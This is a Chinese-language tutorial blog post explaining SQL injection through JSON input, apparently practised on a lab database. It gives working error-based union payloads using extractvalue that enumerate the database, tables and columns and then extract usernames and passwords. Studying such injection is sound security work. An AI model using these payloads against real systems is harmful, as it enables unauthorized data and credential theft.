当前位置: 首页 > news >正文

json的注入

当应用程序将用户输入的JSON数据直接拼接到SQL查询中,而没有充分验证和过滤时,就会产生JSON注入漏洞。

常见场景:

  • RESTful API接口

  • 前后端分离应用

  • 移动应用后端

  • 微服务架构

json注入原理:json注入是指应用程序所解析的json数据来源于不可信赖的数据源,程序对这些不可信赖的数据进行验证,过滤,如果应用程序使用未经验证的输入构造json,则可以更改json数据的语义。

梳理json语句怎么使用:

{"username": "admin' union select..."}

这里先找他的列数吧

{"username": "admin' order by 1 #"}

{"username": "admin' order by 2 #"}依次类推

1.查询数据库

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select database()),0x7e)))#"}

加入找到的是security数据库

2.查询到数据库后然后查询数据库的表

json={"username":"admin' union select 1,extractvalue(1,(concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))#"}

假如找到的的是user表

3.查询到数据库的表之后查列数

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e))#"}

4.然后在列数里面寻找有用的信息

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#"}

{"username":"admin' union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#"}

拆分来看就是这样的一个写法:

{
"username": "admin' union select 
1,                               -- 第一个字段占位
extractvalue(1,                  -- 第二个字段执行注入
concat(0x7e,
(select database()),         -- 要提取的数据
0x7e)
) #"
}

http://www.dtcms.com/a/554387.html

相关文章:

  • 凤楼网站怎么做的上海金山网站建设
  • 小程序平台分账功能实践指南:从优势到落地的完整解析
  • Docker安装(基于云服务器ECS实例 CentOS 7.9系统)
  • RAL-2025 | 北理工具身导航如何融入家居环境!OpenIN:动态家居环境中的开放词汇实例导向导航
  • 利用aqs构建一个自己的公平独占锁
  • html网站源码下载天眼查官网查询入口
  • 14、做中学 | 初二上期 Golang集合Map
  • 做网站前置审批建设银行北京东四支行网站
  • 合规与体验的平衡:多区域身份验证适配中的模块化架构设计案例
  • 更换网站标题网站设计建设合同
  • 怎么用wordpress 建站工业产品设计效果图
  • DeepSeek-OCR
  • LeeCode 141. 环形链表
  • 网站建设费用说明建设一个网站
  • 博山做网站公司渝中网站建设
  • 孤能子视角:基于“N(EI+N(EI))“路径EIS理论人工智能定义
  • 汝南网站建设网站建设维护工作
  • 网站建设项目内控单公司网站优化外包
  • 西青做网站wordpress 标签修改
  • 网页模板怎么做网站wordpress去视频广告插件
  • 华为云iot消息积压问题
  • 简单网站页面设计制作链接的app的软件有哪些
  • Qt功能QSortFilterProxyModel指南
  • RAPID:基于逆强化学习的无人机视觉导航鲁棒且敏捷规划器
  • 免费个人网站模版ps手机网站 ui
  • 东莞网站优化服务公司建网站龙
  • Rust数据类型(下):复合类型详解
  • 【一阶段分析】文生图提示词笔记
  • 0成本get可信域名:dpdns.org公益域名获取全攻略
  • WordPress建影视站电商品牌推广方案